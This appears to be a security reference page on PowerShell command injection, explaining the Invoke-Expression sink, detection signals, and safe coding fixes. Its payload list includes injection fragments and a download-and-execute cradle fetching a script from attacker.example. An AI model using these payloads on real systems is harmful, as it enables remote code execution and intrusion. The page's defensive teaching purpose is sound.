Skip to content

PowerShell command injection and execution

PowerShellWindows

PowerShell command injection occurs when attacker input is interpreted as PowerShell code rather than data. The classic sink is `Invoke-Expression` (IEX) on a built string, but concatenating user input into any script that uses `;`, `|`, `&`/`.` call operators, or `-EncodedCommand` can let an attacker run arbitrary PowerShell on a Windows host.

How it works

PowerShell separates statements with `;` and pipelines with `|`, and it executes commands referenced by the call operator `&` or dot-sourcing `.`. `Invoke-Expression` compiles and runs an arbitrary string as code — if that string contains user input, the input becomes code. This is the PowerShell equivalent of eval.

Attackers also use `-EncodedCommand` (base64 UTF-16LE) to pass a whole script past string filters, download-and-run cradles (`IEX (New-Object Net.WebClient).DownloadString(...)`), and `Start-Process`. Because PowerShell is a full .NET-backed language, injection often leads directly to code execution with the privileges of the hosting process.

Representative payloads

Illustrative fragments for authorized testing. The injected marker commands (id, whoami) are harmless proofs of execution — swap in your engagement’s agreed markers.

  • ; whoami

    WindowsStatement separator runs whoami after the intended command in a PowerShell context.

  • $(whoami)

    WindowsSubexpression operator evaluates whoami and inlines its output, even inside double-quoted strings.

  • IEX (New-Object Net.WebClient).DownloadString('http://attacker.example/a.ps1')

    WindowsDownload-and-execute cradle via Invoke-Expression; a common post-injection payload.

  • powershell -EncodedCommand <base64-utf16le>

    WindowsRuns an encoded script to bypass plaintext filters; see the encoding-bypass entry.

When it works

  • User input reaches Invoke-Expression, is concatenated into a script block that's executed, or is passed to powershell.exe as a command string.
  • The value isn't treated strictly as a parameter value bound to a cmdlet.

When it fails

  • Input is passed as a bound parameter / argument to a cmdlet rather than compiled as code.
  • Constrained Language Mode or application control (WDAC/AppLocker) blocks the constructs, or the value is allowlisted.

Detection

Enable script-block and module logging and alert on Invoke-Expression, download cradles, -EncodedCommand and dynamic string execution.

Signals to look for

  • PowerShell script-block logs (Event ID 4104) containing IEX, DownloadString/DownloadData, FromBase64String, or -enc.
  • powershell.exe spawned by a web/app process with an encoded or URL-bearing command line.
  • Parameters containing ;, $(, |, IEX, or Invoke-Expression in fields that drive PowerShell.

Where to look

PowerShell script-block logging (4104)Module logging (4103)Sysmon Event ID 1AMSI telemetry

Remediation

The correct fix: Never pass user input to Invoke-Expression; bind it as a typed parameter/argument and call executables with an argument array.

Principles

  • Treat user input as data: bind it to cmdlet parameters, never compile it with Invoke-Expression.
  • Use the call operator with an argument array (& 'tool.exe' $arg) instead of building a command string.
  • Enable Constrained Language Mode, application control (WDAC/AppLocker) and script-block logging on servers.

Safe APIs by runtime

PowerShell

Avoid Invoke-Expression; pass values as bound parameters or array arguments to the call operator.

& 'ping.exe' '-n' '1' $host   # not iex "ping $host"
.NET / C#

If hosting PowerShell, use the PowerShell SDK with .AddCommand().AddParameter() — never .AddScript() on user input.

ps.AddCommand("Test-Connection").AddParameter("ComputerName", host);

Not a fix: Sanitising strings before Invoke-Expression. IEX compiles whatever it's given; the only safe approach is to not evaluate user input as code.

For the full secure-coding matrix across languages, see the command injection prevention guide.

Frequently asked questions

Is Invoke-Expression ever safe with user input?
Treat it as never safe with untrusted input. It compiles and runs the string as code. Bind values to cmdlet parameters or pass them as arguments to the call operator instead.

References

Related techniques